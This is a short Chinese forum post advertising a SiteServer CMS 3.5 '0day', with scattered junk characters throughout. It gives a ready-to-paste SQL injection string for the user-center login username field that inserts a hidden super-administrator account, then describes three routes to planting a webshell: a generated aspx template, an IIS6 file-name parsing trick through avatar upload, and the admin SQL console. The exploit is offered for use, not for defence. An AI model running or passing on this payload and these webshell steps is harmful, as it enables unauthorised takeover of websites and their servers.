SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
2 v) I5 }4 y' F
stieserver官网:www.siteserver.cn

& P  u3 E  _  }. A
8 N% L6 [4 `) d; k( G. U& o" ^/ U
. H9 E" \/ R; TEXP:

. n3 V) _( }- ?直接访问UserCenter/login.aspx



用户名处输入：
+ }: d4 H0 \4 C6 k. r7 b: b" d9 r- G: N
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
& {' J+ h6 I. v1 ]6 ^
: F0 G5 }! B! ^3 i7 p* w8 |

/ i, d" n4 q" a5 k密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
9 o4 N( P. ^4 j0 I# I9 U

  e6 i! X8 w  y- _! p: K/ `
  u, \. S0 ?6 A6 k& a5 V- c之后再访问后台SiteServer/login.aspx用插入的用户登陆

5 J- j2 ^4 L7 L  }' l

; i8 @1 E' _2 A6 d& w" }- B; M后台拿webshell的三种方法：
* v, s; p/ Y+ C6 W' @+ F
4 {5 T1 T6 G( I4 z, ]  f4 g0 G* ]0 P一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
. F; W/ V9 W! ^6 b4 J6 j* o% z# ]! I
1 {- k- o; k$ K. e  g) }二、

成员权限-》添加用户-》用户名为：1.asp
: b* w- H6 T4 Q
: j- q. J' c. Yhttp://127.0.0.1/usercenter/

用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
9 r, [, p# M' a. g4 K5 V( [* u
（ps：后台添加用户时不会验证是否含有非法字符）

三、

系统工具-》实用工具-》机器参数查看
: Y- _9 U# ?' d可以看到数据库类型、名称，WEB路径

, P8 U2 w3 E& I+ r7 S系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。